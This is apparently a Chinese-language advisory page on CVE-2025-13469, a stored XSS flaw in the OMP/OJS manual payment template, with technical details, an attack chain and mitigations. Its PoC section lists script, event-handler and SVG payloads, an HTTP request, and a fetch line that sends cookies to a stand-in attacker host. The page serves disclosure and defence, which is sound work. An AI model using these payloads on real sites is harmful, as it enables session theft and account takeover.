IPBUF安全漏洞报告
English
CVE-2025-13469 CVSS 2.4 低危

CVE-2025-13469: OMP/OJS paymentForm.tpl 存储型XSS漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-13469
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Public Knowledge Project OMP, OJS

相关标签

存储型XSSOMPOJSPublic Knowledge ProjectpaymentForm.tplCVE-2025-13469跨站脚本支付插件

漏洞概述

CVE-2025-13469是Public Knowledge Project旗下的OMP(Open Monograph Press)和OJS(Open Journal Systems)系统中存在的存储型跨站脚本漏洞。该漏洞影响3.3.0、3.4.0和3.5.0版本,存在于支付方式手动设置插件的paymentForm.tpl模板文件中。攻击者可通过manualInstructions参数注入恶意JavaScript代码,由于该数据会存储在服务器端并在前端页面渲染时执行,因此属于存储型XSS。漏洞需要高权限用户操作触发,且需要用户交互才能利用。虽然CVSS评分仅为2.4(低危),但存储型XSS可窃取用户会话、劫持账户或进行钓鱼攻击,仍需及时修复。

技术细节

该漏洞存在于OMP/OJS的手动支付方式插件中,具体位置为plugins/paymethod/manual/templates/paymentForm.tpl文件。在Payment Instructions Setting Handler组件处理manualInstructions参数时,未对用户输入进行充分的HTML转义或输入验证。攻击者可在支付设置页面的manualInstructions字段中注入包含<script>标签或事件处理器(如onerror、onload)的恶意代码。由于该数据存储在数据库中,当管理员或其他用户访问相关页面时,恶意脚本会在其浏览器上下文中执行。攻击者可利用此漏洞窃取Cookie、会话令牌,或诱导用户执行恶意操作。修复方案需在模板渲染前对manualInstructions参数进行HTML实体编码,确保特殊字符被正确转义。

攻击链分析

STEP 1
信息收集
攻击者识别目标站点运行OMP或OJS 3.3.0-3.5.0版本,确定支付设置功能入口
STEP 2
权限获取
攻击者获取高权限账户(如管理员或期刊经理)访问权限
STEP 3
恶意Payload注入
通过支付设置页面提交包含XSS payload的manualInstructions参数,payload存储至数据库
STEP 4
等待触发
诱导其他管理员或用户访问支付设置页面或相关展示区域
STEP 5
脚本执行
浏览器渲染页面时执行存储的恶意脚本,窃取会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13469 PoC - Stored XSS in OMP/OJS paymentForm.tpl --> <!-- Requires high privilege access to payment settings --> <!-- Method 1: Script tag injection --> manualInstructions parameter value: <script>alert(document.cookie)</script> <!-- Method 2: Event handler injection --> manualInstructions parameter value: <img src=x onerror=alert('XSS')> <!-- Method 3: SVG injection --> manualInstructions parameter value: <svg/onload=alert(document.domain)> <!-- Exploit payload to steal cookies --> <script> fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie)) </script> <!-- HTTP Request to trigger the vulnerability --> POST /index.php/{journal}/paymentsettings/save Content-Type: application/x-www-form-urlencoded manualInstructions=<script>alert(document.cookie)</script>&save=1

影响范围

OMP < 3.3.0
OMP 3.3.0 - 3.5.0
OJS < 3.3.0
OJS 3.3.0 - 3.5.0

防御指南

临时缓解措施
在官方安全补丁发布前,可通过以下措施临时缓解:1)限制支付设置功能的管理权限,仅授予绝对必要人员访问;2)启用Web应用防火墙规则过滤XSS特征payload;3)实施严格的输入验证,禁止在manualInstructions字段中使用HTML标签;4)监控日志中的异常请求模式;5)考虑临时禁用手动支付方式插件,待官方修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表